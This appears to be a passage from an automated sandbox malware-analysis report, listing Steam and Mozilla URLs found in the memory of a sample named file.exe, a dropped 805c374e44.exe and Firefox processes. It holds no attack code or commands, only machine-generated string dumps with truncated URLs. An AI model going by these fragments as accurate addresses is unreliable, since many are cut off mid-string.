https://community.cloudflare.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC&
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalContent.js?v=UuGFpt56D9L4&l=
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=engli
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/promo/stickers.js?v=GfA42_x2_aub&
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw&
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&amp
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpE
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/javascript/webui/clientcom.js?v=jq1jQyX1843y&amp
Source: file.exe, file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/buttons.css?v=tuNiaSwXwcYT&l=engl
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/motiva_sans.css?v=GfSjbGKcNYaQ&l=
Source: file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_global.css?v=nBdvNPPzc0qI&
Source: file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/css/shared_responsive.css?v=eghn9DNyCY67&
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.p
Source: 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/auth_refresh.js?v=WgUxSlKTb3W1
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_global.js?v=wJD9maDpDcV
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v
Source: file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0&amp
Source: firefox.exe, 0000001B.00000003.2202413243.000001BAAEB1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2432375917.000001BAAF7A0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.2441868523.000001BAAFC6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2441868523.000001BAAFCF7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.2443474661.000001BAAFDD7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2401432678.000001BAAB224000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2443474661.000001BAAFD85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD508000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.
Source: 805c374e44.exe, 0000000C.00000003.2147821946.00000000055D3000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2148362458.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2396386534.000001BAAA8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1604077386.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1604053421.0000000005BC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4L
Source: 805c374e44.exe, 0000000C.00000003.2147821946.00000000055D3000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2148362458.00000000055DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC060000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2396386534.000001BAAA8AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD5F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2370384899.000001C8AA9CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBFF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001B.00000002.2496157306.000001BAB7704000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001B.00000003.2267172030.000001BAB068F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB068F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.2390476248.000001BA9F011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2390476248.000001BA9F030000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2247969630.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
